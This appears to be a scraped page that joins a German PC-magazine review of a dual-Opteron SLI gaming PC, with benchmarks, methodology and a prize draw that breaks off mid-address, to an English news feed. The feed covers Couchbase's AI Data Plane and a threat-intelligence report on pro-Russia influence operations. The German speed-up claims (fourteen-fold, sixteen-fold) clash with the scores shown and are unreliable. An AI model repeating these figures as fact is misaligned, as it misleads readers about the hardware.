Messwerte empfängt der Fan-O-Matic PRO USB beispielsweise vom ESV Inline-Wassertemperaturfühler, der in unserem Superrechner an zwei Stellen die Temperatur der Kühlflüssigkeit (destilliertes Wasser und Korrosionsschutzflüssigkeit im Verhältnis 4 : 1) bis auf eine Nachkommastelle genau ermittelt. Die Durchflussmessturbine FlowMeter rev2.0 hingegen misst bis auf zwei Nachkommastellen die Durchflussgeschwindigkeit der Wasserkühlung in Litern pro Minute, bevor es in den Ausgleichsbehälter und zur Pumpe geht.

Benchmark-Ergebnisse: Anwendungs-Software

Ihre volle Rechenkraft kann unsere Höllenmaschine bei Programmen ausspielen, die mehrere Aufgaben parallel abarbeiten und von 64-Bit-Betriebssystemen profitieren: So war der Super-PC beispielsweise beim Rendering-Test der 32-Bit-Version von Cinebench 2003 fast 80 Prozent flotter als der bisher schnellste Prozessor in dieser Disziplin, der Athlon X2 4800+. Und mit der 64-Bit-Version des Rendering-Tests rechnete unser Mega-PC nochmals gut 21 Prozent schneller.

Aber auch wenn mehrere Programme gleichzeitig laufen, ist unser Superrechner höllisch schnell. Das zeigt eindrucksvoll unser Multimedia-Benchmark, das Programme wie Avi2mpg, Excel, Photopaint, Winrar und Word gleichzeitig schuften lässt. Sage und schreibe fast vierzehn Mal so flott wie der bisher schnellste PC in diesem Test, der Dell Dimension 9100 mit Zwei-Kern-CPU Pentium D 830, flitzte unser Megarechner durch das Multitasking-Szenario.

Anwendungs-Benchmarks

Benchmark	32 Bit	64 Bit
3D Mark 03 (3D-Marks)	31395	nicht möglich
3D Mark 05 (3D-Marks)	12026	nicht möglich
Cinebench 2003 (Punkte)
Rendering 1 CPU	339	437
Rendering X CPUs	1096	1329
C4D Shading	381	370
Open GL SW	1856	1644
Open GL HW	3526	2357
Lame-Encoder 3.97a (Sekunden)	22	18
Nero Recode 2.2.7.2 (Sekunden)	509	nicht möglich
PC-WELT-Benchmark Multimedia (Punkte)	2299	nicht möglich
POV-Ray 3.6 (Pixel/s)	93	117

Benchmark-Ergebnisse: Spiele

Zur 3D-Leistung: Dank des SLI-Gespanns von EVGA verfügt die Höllenmaschine über eine enorme Grafikpower. Mit den Standardeinstellungen erreichte unser Rechner satte 12.026 Punkte im 3D Mark 05. Auch nicht von schlechten Eltern sind die 31.395 Punkte im 3D Mark 03.

Ob der Mega-PC die rohe 3D-Rechenleistung auch bei brandneuen Spielen umsetzen kann, prüften wir mit den Titeln F.E.A.R. und Quake 4. Dabei haben wir alle Qualitätseinstellungen bis zum Anschlag hochgeschraubt. Ergebnis: Selbst bei einer Auflösung von 1600 × 1200 Bildpunkten lieferten die beiden Grafikkarten locker spielbare Bildraten von deutlich mehr als 30 Bildern/s.

Bei Quake 4 konnten wir dank des Patches 1.05 Beta noch testen, ob das Spiel von Zwei-Kern- beziehungsweise Multiprozessorsystemen profitiert. Dies war jedoch selbst mit unterschiedlichen Qualitätseinstellungen nicht der Fall.

Zudem wollten wir auch prüfen, ob Spiele im 64-Bit-Modus schneller laufen oder eine bessere Bildqualität bieten. Dazu haben wir die 32- und 64-Bit-Versionen der Spiele Riddick und Unreal Tournament 2004 miteinander verglichen: Nur bei der höchsten Auflösung ermittelten wir im 64-Bit-Modus bei beiden Spielen eine leicht höhere Bildrate, während es bei 1024 × 768 Bildpunkten genau andersherum war. Während wir bei Riddick keine Qualitätsunterschiede erkennen konnten, hatten wir bei Unreal Tournament 2004 den Eindruck, dass die 64-Bit-Version einen Tick besser aussah.

Spiele-Benchmarks

Spiel 1) / Auflösung	1024×768	1280×1024	1600 x 1200
FEAR 1.02 (Bilder/s)	89	73 2)	61
Quake 4 (Bilder/s) 3)	112	69	46
Riddick 1.1 (Bilder/s) 4)	60 (58)	35 (38)	25 (28)
UT 2004 3355 (Bilder/s) 4)	134 (132)	125 (123)	117 (121)

1) Die Messungen erfolgten bei der bestmöglichen Bildqualität und 32 Bit Farbtiefe.
2) F.E.A.R. unterstützt nicht die Auflösung von 1280 × 1024 Bildpunkten, wir haben daher 1290 × 960 Pixel gewählt.
3) Die Aktivierung der Unterstützung für Multiprozessorsysteme brachte keinen Geschwindigkeitsvorteil.
4) Die Werte in Klammern geben die durchschnittliche Bildrate pro Sekunde im 64-Bit-Modus an.

Die Testkonfiguration

Treiber für Windows XP 64-Bit Edition:

Hauptplatine: Bios-Version 1.03
Chipsatz: Nforce 4 Version 6.69 (WHQL)
Grafik: Nvidia Forceware 81.95 (WHQL)
Sound: Terratec 5.21 Beta
Prozessor: AMD Opteron Powernow 1.2.2.1

Installation:

Wir richten im BIOS einen RAID‑0+1‑Verbund mit den vier SATA-Festplatten ein. Da sich das Betriebssystem auch nach mehrfachen Versuchen nicht auf dem RAID‑Verbund installieren lässt, geben wir unseren ursprünglichen Plan auf und verwenden das als Master definierte Ultra-DMA/100-Laufwerk als Boot-Partition. Per F6-Taste binden wir gleich bei der Betriebssysteminstallation den IDE- und Raid-Treiber von Nvidia ein. Nach Abschluss der Installation von Windows XP 64 Bit spielen wir als Erstes das Chipsatz-Treiberpaket auf. Erst dann installieren wir das deutsche Sprachpaket für Windows XP Pro 64 Bit. Dann folgt der Grafikkarten-Referenztreiber, bei dem wir die Option „SLI Multi-GPU aktivieren“ einschalten. Abschließend installieren wir AMDs Prozessor-Treiber und den Soundkarten-Treiber. Alle Programme und Benchmarks installieren wir, wenn möglich, auf dem schnellen RAID‑0+1‑Verbund.

Anwendungs-Benchmarks:

Synthetische 3D-Leistung.
Ob und wie schnell ein Testkandidat Spiele darstellt, überprüfen wir mit dem synthetischen Benchmark 3D Mark 05 Version 1.2 sowie 3D Mark 03 Version 3.60 von Futuremark. Der 3D Mark 05 setzt Direct-X-9-Grafikkarten mit Unterstützung des Shader-Modells 2.0 voraus und besteht aus drei Spielszenen: In „Return to Proxycon“ erzeugen bis zu acht Lichtquellen Schatten. „Firefly Forrest“ zeigt dynamische Licht- und Schatteneffekte in dichter, bewegter Vegetation. „Canyon Flight“ bringt detaillierte Wassereffekte und -reflexionen mit zusätzlichem Nebel. Wir lassen beide Benchmarks mit den Standardeinstellungen laufen. Vergleichswert: Das bisher beste Ergebnis unter 3D Mark 05 erreichte unser PC-WELT-Eigenbau mit Pentium 4 650, 1 GB Arbeitsspeicher und Geforce-6600-GT-Grafikkarte (siehe PC-WELT 10/2005, Seite 122) mit 3759 Punkten. Eine Bestenliste der beiden Benchmarks finden Sie auf der Website des Herstellers.

Cinebench 2003:
Wie schnell die CPU Lichtquellen und deren Schattenwurf berechnet, überprüft der Rendering-Test von Cinebench 2003 von Maxon, der mehrere Prozessoren(kerne) ansprechen kann (Multi-Threading). Die Szene “Daylight” wird mithilfe des Cinema-4D-Raytracers berechnet. Sie enthält 35 Lichtquellen, wovon 16 mit Shadowmaps behaftet sind und sogenannte weiche Schatten werfen. Hier ist besonders Fließkomma-Leistung gefragt. Im Cinebench-Test Open GL HW sind zwei Animationen zu berechnen, die aus 1046 Objekten mit 37.000 Polygonen beziehungsweise zwei Objekten mit insgesamt 70.000 Polygonen bestehen. Beim Test Open GL SW erfolgt zusätzlich die Lichtberechnung für die beiden Animationen. Vergleichswerte: Messergebnisse für die Prozessoren Athlon 64 FX-57, Athlon 64 X2 4800+, Pentium Extreme Edition 840 und Pentium 4 3,73 GHz Extreme Edition finden Sie hier.

Lame 3.97a:
LAME etablierte sich neben den Fraunhofer-Varianten zu den bekanntesten MP3-Codecs. Der LAME-Open-Source-Codec beherrscht eine variable und konstante Bitrate und erzeugt aus WAV- entsprechende MP3‑Dateien. Das Israel Institute of Technology Technicon erstellte in einem LAME-Projekt 32- und 64-Bit-Versionen des MP3-Encoders – jeweils mit Microsoft- und Intel-Compilern erstellt. Bei unseren Tests verwenden wir die Microsoft-kompilierten LAME-3.97-Alpha-Versionen. Keinen Unterschied konnten wir zwischen der 32- und 64-Bit-Version bei den Durchläufen mit konstanter Bitrate feststellen, die alle nach elf Sekunden ihren Abschluss fanden. Die in dieser PC-WELT-Ausgabe abgedruckten Testergebnisse beziehen sich auf die Durchläufe mit variabler Bitrate, bei der wir immerhin einen Vorsprung von gut 18 Prozent für die 64-Bit-Version ermittelten.

Nero Recode 2.2.7.2:
Der Transcodierer ist Bestandteil des Programmpakets Nero 7 von Ahead. Als Ausgangsmaterial dient uns der nicht CSS-verschlüsselte Film „Wag The Dog“ mit einer Größe von knapp 8 GB. Die Aufgabe: den Film so eindampfen, dass er auf eine einlagige DVD-R mit 4,7 GB Kapazität passt. Wir verwenden die Ausgabegröße „DVD-5“, setzen die Priorität auf „hoch“ und schalten die „erweiterte Analyse“ ein.
Vergleichswert: Das bisher beste Ergebnis mit dieser Benchmark-Konfiguration erreichte unser PC-WELT-Eigenbau mit Pentium 4 650 und 1 GB Arbeitsspeicher (siehe PC-WELT 10/2005, Seite 122) mit 670 Sekunden.

PC-WELT-Benchmark Multimedia:
Mit diesem in unserem Testcenter entwickelten Benchmark messen wir die Leistungsfähigkeit der Kandidaten in einem Multitasking-Szenario. Der Test lässt simultan den Video-Transcoder Avi2mpg, den MP3-Encoder Bladeenc, die Bildbearbeitung Corel Photopaint sowie die Programme Excel, Winrar und Word schuften.
Vergleichswert: Das bisher beste Ergebnis erreichte der Dell-PC Dimension 9100 mit Pentium D 830, 2 GB Arbeitsspeicher und Radeon-X850-XT-Grafikkarte mit 511 Punkten. Die 16‑fache Leistungssteigerung unserer Höllenmaschine erklärt sich aus dem Sachverhalt, dass 25 Prozent mehr Punkte einer Verdopplung der Rechenleistung entsprechen.

POV-Ray 3.6.1:
Das Raytracing-Programm POV-Ray ist ein frei erhältliches Open-Source-Tool zum Erstellen von 3D‑Grafiken. Den “Persistence of Vision Raytracer” gibt es in der Version 3.6.1 als 32- und 64-Bit-Variante. Wir verwenden die integrierte Benchmark-Funktion.

Spiele-Benchmarks

Bei allen Spiele-Benchmarks haben wir im Grafiktreiber die „Systemleistung“ auf „Qualität“ gesetzt und die „Trilineare Optimierung“, „Anisotrope Mip-Filter-Optimierung“ und „Optimierung des anisotropen Musters“ deaktiviert. Dann überlassen wir es dem Spiel, die Qualitätseinstellungen vorzugeben, indem wir ein Häkchen vor „Anwendungsgesteuert“ setzen. Alle Tests führen wir mit einer Farbtiefe von 32 Bit durch. Vergleichswerte für die verwendeten Spiele bietet etwa unsere Schwesterpublikation GameStar an.

FEAR 1.02:
Der Titel gehört zu den leistungshungrigsten Spielen, die derzeit auf dem Markt sind. Für den Test verwenden wir das integrierte Benchmark-Programm. Wir setzen alle Optionen auf das Maximum. Beim Test stellen wir sicher, dass dynamische Schatten auch wirklich berechnet werden. Da Fear nicht die Auflösung von 1280 × 1024 Bildpunkten bietet, wählen wir notgedrungen 1280 × 960 Bildpunkte.

Quake 4 Version 1.0.5.0 Build 2147:
Für den Test verwenden wir die selbst erstellte Demo unserer Schwesterpublikation Gamestar. Wir setzen alle Qualitätseinstellungen auf das Maximum (Ausnahme Kantenglättung: 8 × statt 16 ×) und starten den Benchmark über die Konsole mit dem Befehl “timedemo demo001 usecache”. Jeden Lauf führen wir zweimal durch. Beim zweiten Durchgang aktivieren wir über den Befehl “r_useSMP 1” die Unterstützung für Mehrkern-Prozessoren (SMP = symmetrisches Multiprozessorsystem).

Riddick 1.1:
Wir setzen alle Qualitätseinstellungen auf das Maximum und starten das Benchmark-Tool der Website Benchemall mit den Einstellungen „Maximum Details“, Shader mode, Auto“ und wählen die selbst erstellte Demo unserer Schwesterpublikation GameStar aus. Für den 32-Bit-Test nehmen wir die ExeOption „Win32 x86 SSE2“ und für den 64-Bit-Test „Win64 AMD64“.

Unreal Tournament 2004 v3355:
Wir setzen alle Qualitätseinstellungen auf das Maximum und starten das Benchmark-Tool Umark 2.0.0 der Website Unrealmark. Wir testen mit sechs Maps (AS-FallenCitz, BR-Slaughterhouse, CTF-MoonDragon, DM-Inferno, DOM-Ruination und ONS-Dawn), die wir jeweils mit 12 Bots bevölkern, und schrauben den Detailgrad auf “High Image Quality”. Aus den sechs Einzelmessungen bilden wir für jede Auflösung den Mittelwert. Um auch die 64-Bit-Version zu testen, installieren wir den Patch 3369 und starten Umark über die 64-BitExe.

Gewinnen Sie unsere Höllenmaschine im Wert von über 10.000 Euro!

Sie möchten an der Verlosung unseres Super-PCs teilnehmen? Dann schlagen Sie die aktuelle Ausgabe 2/2006 auf Seite 93 auf und schneiden Sie das rote Dreieck rechts oben aus. Legen Sie das Dreieck in einen Briefumschlag oder kleben Sie es auf eine Postkarte mit Absenderangabe, und senden Sie ihn an:

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AI agents need context everywhere they run, even where the cloud can't follow

Tue, 30 Jun 2026 17:03:33 +0200

The competitive edge in enterprise AI is shifting to context: which platform can give an agent the right memory, the right retrieval and the right data at the moment of decision.

Couchbase on Tuesday announced its AI Data Plane, combining persistent agent memory, real-time context retrieval and an enterprise-managed MCP server in a single operational platform.

Couchbase's roots are in caching and high-transaction databases — an architecture the company argues makes it better suited for agent memory than vendors that came to the problem from search or analytics. The AI Data Plane runs identically across cloud, on-premises and disconnected edge environments, extending agent memory and local vector search to devices with no network connection.

"How do you make sure that the intelligence that you get out of these models are the ones that databases specialize in?" Gopi Duddi, CTO at Couchbase, told VentureBeat. "How can you get that value out of storage systems, which are still going to be databases?"

What the AI Data Plane delivers

The AI Data Plane packages three components designed to replace the fragmented stacks most enterprises are currently running.

Agent memory: A unified persistence layer for conversational context, structured operational data and vector embeddings. Couchbase says the guardrails are what distinguish it from standalone memory services: token constraints per session, time-to-live limits on stored memories and metering controls that cap compute consumption per agent session.

Enterprise MCP server: An enterprise-supported self-managed server for standardized model-context protocol integration, shipping as part of the platform rather than requiring a separate service.

Agent catalog: A function-level catalog of discoverable agent tooling built by Couchbase. Duddi distinguished it from metadata catalogs like Databricks Unity or AWS Glue — describing it, in his words, as closer to a glorified MCP that surfaces agent functions as callable tools within the platform.

Memory-first architecture takes agent context to the disconnected edge

The lineage of Couchbase and its core architectural foundation is what Duddi says gives it an edge when it comes to context.

"We were a cache before we became a database," Duddi said.

Writing to memory is 10x faster than writing to disk, Duddi said — a speed advantage he argues separates Couchbase from NoSQL databases that layer memory workloads on top of disk-based storage.

Couchbase isn't the only data technology that has its roots in a caching layer. Redis similarly is rooted in cache and also recently announced an agentic AI context layer. Duddi argued that Couchbase is different in that it maintains an ACID (Atomicity, Consistency, Isolation, and Durability) compliant database which matters for transactional workloads. Couchbase also has a long history across multiple deployment modalities.

That architecture extends to the edge through Couchbase Lite, the platform's on-device runtime. It runs SQL, full-text search and vector search locally without a network connection, using a proprietary sync mechanism to replicate bidirectionally back to cloud or between edge nodes when connectivity returns. The target environments are retail floor operations, field service, industrial deployments and regulated settings where agent data cannot leave the device.

Duddi cited hotel reservations as an early example: multiple agents serving customers concurrently, each pulling local context and running vector search on-device, with shared session memory synchronizing centrally. The practical benefit is token efficiency. Rather than every agent independently retrieving and processing the same data, the platform caches shared context so concurrent sessions draw on it without burning tokens repeatedly.

Agora's view from production

Agora, a platform that helps developers embed real-time voice, video and conversational AI into enterprise applications, has run Couchbase in production since February 2024.

The initial use case was its Signaling product, managing channel setup and state synchronization for live calls. Expanding into conversational AI agents brought stricter requirements: memory-first architecture, full JSON support for storage and query, cross-datacenter replication for high availability and enterprise-grade vendor support.

"Couchbase was the best fit based on these criteria," Patrick Ferriter, SVP of Product at Agora, told VentureBeat.

Agora is now extending that relationship to support context retrieval for conversational AI agents.

"This will simplify the architecture and deliver enterprise grade RAG with predictable lower latency required for conversational AI use cases," Ferriter said.

For data professionals trying to figure out the best approach to context, there is no one answer. On platform selection, Ferriter was direct.

"It depends on the preference and goals of the organization, including timing," Ferriter said. "If they want something enterprise grade and optimal for immediate production and scale vs. having to optimize and maintain an open-source solution with community support. We wanted the former and that is why we looked at an expanded partnership with Couchbase."

Competitive context: following the right trend

The context layer has become a crowded space in 2025.

Oracle put a memory core in its database back in March providing a context layer. Redis added a context layer in May as did vector-native database vendor Pinecone.

"Couchbase is following this trend, not setting it, but it's the right one to follow," Devin Pratt, Research Director for AI, Automation, Data and Analytics at IDC, told VentureBeat. "Its real edge is reach, running the same platform from cloud to edge to mobile, which is how enterprises actually operate. The test now is to scale against bigger names."

For teams navigating the vendor landscape, Pratt's framing is direct. "Match the tool to the workload. Consolidate where it makes sense, use a specialized engine like a graph database where relationship-heavy reasoning earns it, and let governance drive the call rather than treating memory as plumbing," Pratt said.

Simplicity and unity will win the fight against AI cyberattacks

Tue, 30 Jun 2026 09:07:57 +0200

How MSPs can turn the rise of AI-driven breaches into a business advantage

The Bear Necessities: A Look at the Drivers, Dynamics, and Applications of the Pro-Russia Influence Ecosystem

Mon, 29 Jun 2026 16:07:54 +0200

Written by: James Sadowski, Alden Wahlstrom

Introduction

Four years into Russia’s full-scale invasion of Ukraine, the pro-Russia influence ecosystem has evolved from a tool of war back into a global strategic asset. Since the mobilization of this ecosystem to support frontline objectives, we have witnessed the expedited development of new influence assets linked to multiple, expansive, covert information operations (IO) campaigns and a revitalization of pro-Russia hacktivism at an unprecedented scale. While this threat activity initially adapted to encompass Ukraine-related priorities, it is gradually pivoting back to established Russian influence objectives for which the ecosystem was originally honed. This shift is significant because it likely signals increased focus outside of Ukraine, warning that pro-Russia influence activity targeting the European Union (EU), North Atlantic Treaty Organization (NATO), and other top targeting priorities may intensify.

Ultimately, the war in Ukraine has provided a critical feedback loop for Russia to refine its influence activity, lessons that we anticipate will be applied as the ecosystem continues to reorient toward global strategic objectives while maintaining focus on Ukraine. Further, recent pro-Russia IO indicates the continued expansion of already diverse tactics, and the increasing use of generative AI tooling for planning, research, and content creation marks a forward trend in pro-Russia IO. Meanwhile, new and different actors have adopted IO tactics to meet an increasingly diverse set of challenges, signaling growing Russian reliance on influence tactics. Together, these trends likely demonstrate the Kremlin's perception of these tactics as cost effective and successful. The interconnected nature of the ecosystem's disparate components makes it resilient to limited scope disruptions, which defenders must consider to effectively mitigate pro-Russia influence threats.

The Ecosystem at a Glance: Objectives, Targeting, and Tactics

Russia's modern approach to information operations is built on the conceptual foundation of Soviet-era "active measures" adapted for the digital age. Alongside disruptive cyberattacks dating back to the early 2000s, the Kremlin has increasingly harnessed internet-based platforms for espionage and information operations. Russia's approach has evolved from rudimentary, singular operations into a complex, self-sustaining environment intentionally curated by the Russian Government that blends overt, covert, and independent elements to advance Kremlin interests both at home and abroad.

Core Influence Objectives

GTIG’s observations suggest the primary strategic motivations driving the pro-Russia influence ecosystem fall into five categories, each aiming to achieve military and/or political objectives through psychological manipulation of the target audience (Figure 1). Collectively, these objectives informally depict a global influence strategy: through the furthest reach of its influence, the Kremlin seeks to diminish Western primacy and advance Russia's global position; within its surrounding region, it strives to retain and return Moscow's dominance; and at home, it works to ensure the stability of the political regime.

Figure 1: Core objectives of the pro-Russia influence ecosystem

Targeting

Pro-Russia influence operations are pivoting from the near singular focus on Ukraine that dominated the ecosystem since 2022. We expect influence operations advancing Russia's war-specific interests to continue. However, as Russia seeks to reemerge from international isolation, we have increasingly observed a concurrent focus on pre-war pro-Russia influence objectives.

The current and historical targeting scope of each ecosystem component exposes both the Kremlin's global ambitions and the realistic limitations of its power projection. State-owned media organizations produce content intended to serve populations across six continents, but in recent years, sanctions and other factors have limited its production and distribution. Meanwhile, covert operations have appeared more limited in scope, primarily targeting the West and countries surrounding Russia, with intermittent operations targeting the Middle East and Africa, indicating that finite resources necessarily limit these operations (Figure 2).

Top Regional Targets

The United States and Europe: The Kremlin has long viewed the West as a top adversary of Russia. Accordingly, the US and Europe are top targets of covert pro-Russia information operations, especially aimed at undermining political stability within these countries and the unity between them. NATO and the EU embody the collective "West" and are Russia's perceived top adversaries, second only to the US independently.
Russia's "Near Abroad": Since the dissolution of the Soviet Union, Moscow has asserted that the countries that formerly comprised part of the USSR now reside in Russia's so-called "sphere of influence." Covert influence targeting this region directly reflects Moscow's assertion that Russia is a world power entitled to special privileges within its neighborhood.
The Middle East and Africa: Over the past decade, Russian efforts to reassert itself as a global power have included high-profile investments in cultivating Russia's standing in the Middle East and Africa. Covert pro-Russia influence activity is likely deployed in tandem as intended support for other Russian initiatives in these regions.
Russia Domestic: Internally targeted covert IO is a well-established component of pro-Russia influence activity, deployed by regime-aligned actors to promote Kremlin policies and repress opposition voices.

Targeted Entities and Global Events

The Olympics: Russia has long viewed Olympic participation as a point of national prestige, and GTIG has observed notable Russian influence activity targeting the Olympics in the face of Russian participation bans.
War in Ukraine: The war in Ukraine has been a key driver of Russia's influence activity, including attempts to influence events on the ground as well as influence activity intended to advance Moscow's interests elsewhere vis-a-vis the war. GTIG expects that Ukraine will remain a priority in Russia's targeting calculus during the post-conflict phase following any future peace agreements.
Elections: Election targeting aligns with multiple Russian influence objectives, including attempting to undermine confidence in democratic institutions as well as internally weakening perceived Western adversaries. These operations regularly target elections in countries that are already prioritized by ongoing pro-Russia influence activity.
Ad Hoc Geopolitical Flashpoints and Global Events: Russian influence actors have a history of pivoting activity to engage with emerging geopolitical developments and events, such as the COVID-19 pandemic or the 2026 Middle East conflict. This flexible target selection often overlaps or is aligned with other Russian priorities, making previously observed Russian influence activity helpful in anticipating which events may be appropriated.

Figure 2: Priority targets of the ecosystem

Tactics

Converging geopolitical and technological developments make the evolution of pro-Russia influence tactics a particularly important space to monitor right now. The pro-Russia influence ecosystem expanded to support the war effort, bringing change across the spectrum of activity and providing operators the opportunity to hone their tactics, techniques, and procedures (TTPs) in the rapid feedback loop of war. Meanwhile, the emergence and increased democratization of generative AI tooling has brought both promised and already realized opportunities to support all phases of the IO lifecycle. The following are a sample of key tactics that illustrate how pro-Russia actors currently blend well-tested methods with new technological developments to reach audiences through diverse means:

Generative AI: GTIG has observed pro-Russia influence actors increasingly leverage AI tooling to support different stages of their operations, including support for planning and general research as well as content creation.

Google Threat Intelligence Group (GTIG) is closely tracking the transition from nascent AI-enabled operations to the maturing, industrial-scale application of generative models within adversarial workflows across threats ranging from espionage and crime to IO. Please see our latest AI threat tracker for more information on how this threat is developing based on our insights, and what Google is doing to protect our customers.

Narrative Resonance: Hijacking existing ideological and emotional fissures within a society provides pro-Russia influence actors tailored narratives to target audiences and potentially increases potential engagement and impact.
Cyber-Enabled IO: Influence campaigns frequently coincide with destructive cyberattacks, such as the deployment of wiper malware alongside website defacements containing false surrender messages, or the historic use of "hack and leak" campaigns in which exfiltrated data, sometimes manipulated, is then publicized through an actor-controlled false persona. In some instances, Russian actors may even leverage direct cyber espionage targeting as a way to achieve psychological effects, intending to influence victims' behavior through intimidation.
Media Mimicry: Pro-Russia actors have attempted to mimic legitimate media at scale and through a variety of means, including via the wholesale appropriation of legitimate media brands or developing inauthentic media brands that generally masquerade as independent news sources. These tactics are intended to add a veneer of legitimacy to the promoted narratives.
Direct Dissemination: Pro-Russia influence actors have used closed communication channels, such as emails, SMS text messages, and messenger apps, to disseminate various types of pro-Russia narratives as an adjunct to or outside typical social media-focused operations.

Core Ecosystem Components

The current pro-Russia influence ecosystem operates across a spectrum from official government communications to deniable covert actions conducted by intelligence services and "patriotic" proxies. GTIG identified six core components that represent key activity types (Figure 3). While many elements are state-directed or state-affiliated, the ecosystem is also a cultivated, self-sustaining system: various actors, often without explicit direction, amplify Kremlin-friendly narratives and pursue actions that advance Russia's strategic interests. This fluidity provides resilience and complicates attribution, mirroring the longstanding Kremlin strategy to co-opt non-state actors, including criminal networks for finance or illicit logistics, to achieve state objectives without direct attribution. Although each of the core ecosystem components serves as a unique lever the Russian Government can employ to achieve desired objectives, they are regularly used together. For instance, while the entire pro-Russia hacktivist landscape is not state-sponsored, the Russian intelligence services have used both genuine and fabricated hacktivist personas to launder stolen data as part of blended cyber espionage and IO hybrid operations.

Figure 3: Core components of the pro-Russia influence ecosystem

An Interconnected Ecosystem Enhances Influence Utility

Figure 4 illustrates the complex, interconnected nature of the pro-Russia influence ecosystem by mapping relationships between a selection of key actors and organizations across five of the core components. The ecosystem functions as a cohesive unit, not only through shared objectives, but also through direct cross-component interactions. The Russian Government functions as the sixth core ecosystem component, setting the policy and talking points that inform the ecosystem’s promoted narratives and sponsoring overt and covert assets throughout the other five components diagrammed in Figure 4. Through these levers, the Kremlin fosters the cross-component links that underpin the ecosystem, enhancing its overall utility as a versatile tool of state influence.

Figure 4: Subset of actors that illustrate how different components of the ecosystem interact with each other

10 Key Dynamics for Understanding the Pro-Russia Influence Ecosystem

The scope and diversity of activity in the pro-Russia influence ecosystem challenges defenders tasked with enumerating, tracking, and countering its threats. GTIG has distilled 10 key ecosystem dynamics based on our current understanding of its components and how they each enable covert influence activity. These dynamics frame critical aspects of how activity manifests within the ecosystem, providing a high-level guide to understand and track these threats.

Large-scale IO campaigns are an integral element of the pro-Russia influence ecosystem. Major pro-Russia IO campaigns have been an enduring feature of the pro-Russia ecosystem, with new campaigns emerging as previous ones fall into inactivity. Maintaining extensive IO campaigns and their associated established influence infrastructure enables proactive messaging on strategic issues and underpins a capability that can be rapidly adapted for emerging domestic and global priorities.

Long-established IO campaigns, like Secondary Infektion, pivoted to meet new strategic needs as Russia’s 2022 invasion of Ukraine began. New IO campaigns, such as “Operation Overload,” subsequently emerged to support the war effort; while Secondary Infektion has become dormant, these “successor” campaigns have since been leveraged to advance other global Russian influence objectives beyond the war itself.

Pro-Russia actors often prioritize persistence and the range of tactics they leverage reflects this. In the face of public exposure and disruption, pro-Russia actors and their infrastructure have often remained persistent, sometimes making tactical adjustments to mitigate the effects of detection and disruption and other times continuing operations unabated.

These persistence tactics include the Doppelganger campaign and overt Russian media’s respective cycling of domain infrastructure and/or use of mirror domains to overcome exposure, platform bans and sanctions. Influence operators also frequently continue using compromised assets, sometimes mocking their exposure, as seen with the legacy US-targeted NAEBC campaign and the APT44-affiliated hacktivist persona XakNet Team.

Figure 5: NAEBC-linked persona account mocking public exposure of influence assets (left), and GRU-sponsored XakNet Team persona mocking then-Mandiant (now part of Google Threat Intelligence Group) attribution of the group’s activities to the GRU (right)

Pro-Russia and Russian cyber espionage groups leverage IO tactics to support their operations and weaponize stolen data and/or illicit access. While less frequent, this hybrid activity is a critical dynamic within the pro-Russia influence ecosystem. GTIG has previously observed operations used to shape narratives around cyberattacks and influence events on the ground and to conduct foreign political interference, including the repeated targeting of foreign elections, reported in Spring 2024. We have attributed some observed instances of this to Russian government-sponsored threat actors.

Russian state sponsored or pro-Russia hacktivist groups have long relied on public advertisement of real or claimed data exfiltration to highlight their operations, intimidate targets, or sway public opinion. In 2022, UNC4057 (COLDRIVER) used data stolen from espionage targets in a high profile hack-and-leak operation seeking to exacerbate divisions in UK politics. More recently, the self-proclaimed hacktivist group PalachPro claimed in February 2026 to have gained unauthorized access to a Ukrainian government online portal and publicly posted screenshots of the claimed compromise. The Ukrainian government has previously noted that the portal does not store the type of data the threat actor claimed to compromise, suggesting the public posting was likely intended as influence activity, attempting to create the illusion of a more serious threat.

Figure 6: UNC4057 leak website attempting to inflame public debate

Pro-Russia hacktivists serve a direct influence function. Modern pro-Russia hacktivism has evolved into an important component of the influence ecosystem that blends state-backed actors leveraging hacktivist tactics with an evolving cohort of likely third-party hacktivist actors that support Russia's geopolitical interests. Pro-Russia hacktivist groups gain domestic and foreign attention for strategic messaging via their claimed threat activity, amplify narratives directly seeded in overt ecosystem segments, and at times also support traditional IO activity or create a means of plausible deniability for state-sponsored espionage actors.

The self-proclaimed hacktivist group NoName057(16) emerged following the Russian invasion of Ukraine in 2022, primarily targeting Ukraine and its partners and allies with DDoS attacks and various network intrusions. It has targeted high profile events, such as the Milano Cortina Winter Olympics, institutions like the French National Assembly, and critical infrastructure and transportation targets in Germany. Often their messaging cites grievances with overt acts of Western support for Kyiv, suggesting the group advances Russian interests not only through the targeting of perceived Russian adversaries but also in gaining attention for its pro-Russia messaging.

Established ecosystem components facilitate the cultivation of new assets and activity. Inter-ecosystem cross-promotion helps overcome challenges of audience building by directing traffic toward new assets, operations, and narratives, enabling rapid deployment of new and existing IO capabilities. This directly supports a self-sustaining cycle that maintains and expands the ecosystem.

The hacktivist persona JokerDNR played a significant role in amplifying the APT44-linked persona Solntsepek when its doxxing-focused Telegram channel first launched and then again as it began claiming cyber espionage activity.

Domestic Russian audiences are a longstanding target of the pro-Russia influence ecosystem. Internally directed influence activity has often involved the promotion of Kremlin policies and talking points and the denigration of opposition voices and ideas, conducted by both overt and covert segments of the ecosystem.

Ahead of Russia’s March 2024 presidential election, GTIG identified the hybrid espionage and influence actor UNC5101 register domains and conduct associated influence operations attempting to deceive Russian opposition voters about the timing of an anti-Putin protest.

Ecosystem actors respond to the same set of internal shifting circumstances and external geopolitical developments, often leading to seemingly similar, but ultimately distinct, activity. These shared drivers and general motivational alignments encourage actors to "spontaneously" coalesce around a particular topic or narrative. While this can appear superficially similar, this phenomenon is distinct from instances of actor coordination and campaign linkages, which is less common.

Systemic flexibility is a central feature, with influence assets able to mobilize both incrementally and at scale to advance Russian interests. The Russian Government is able to mobilize assets across the ecosystem to respond to strategic events. Meanwhile, individual or aligned actors can separately mobilize to address tactical needs, allowing the ecosystem to concurrently message on multiple issues across different geographies (Figure 7).

Russia demonstrated its ability to focus the ecosystem on a single strategic issue like the Russian invasion of Ukraine. Simultaneously, discrete assets have addressed tactical events, such as when Portal Kombat briefly promoted narratives about a Russian drone incursion into Poland concurrently with other covert pro-Russia influence activity.

Figure 7: Tactical responses are executed by individual or coordinated/aligned clusters of actors to address emerging developments

Overt Russian media contributes to, and is connected with, multiple covert influence components. The overt components of Russia's influence infrastructure play a critical role within the broader Russian influence ecosystem beyond the commonly understood function of providing a public platform for government-aligned narratives and official talking points; overt media helps to drive (inform targeting) and amplify covert pro-Russia influence activity, seeding desirable narratives within the ecosystem and providing an indirect conduit between the Kremlin and a disparate array of influence actors. Overt media outlets have directly coordinated their activity with covert actors and have increasingly employed IO tactics to disseminate their own content in the face of sanctions and platform bans (Figure 8).

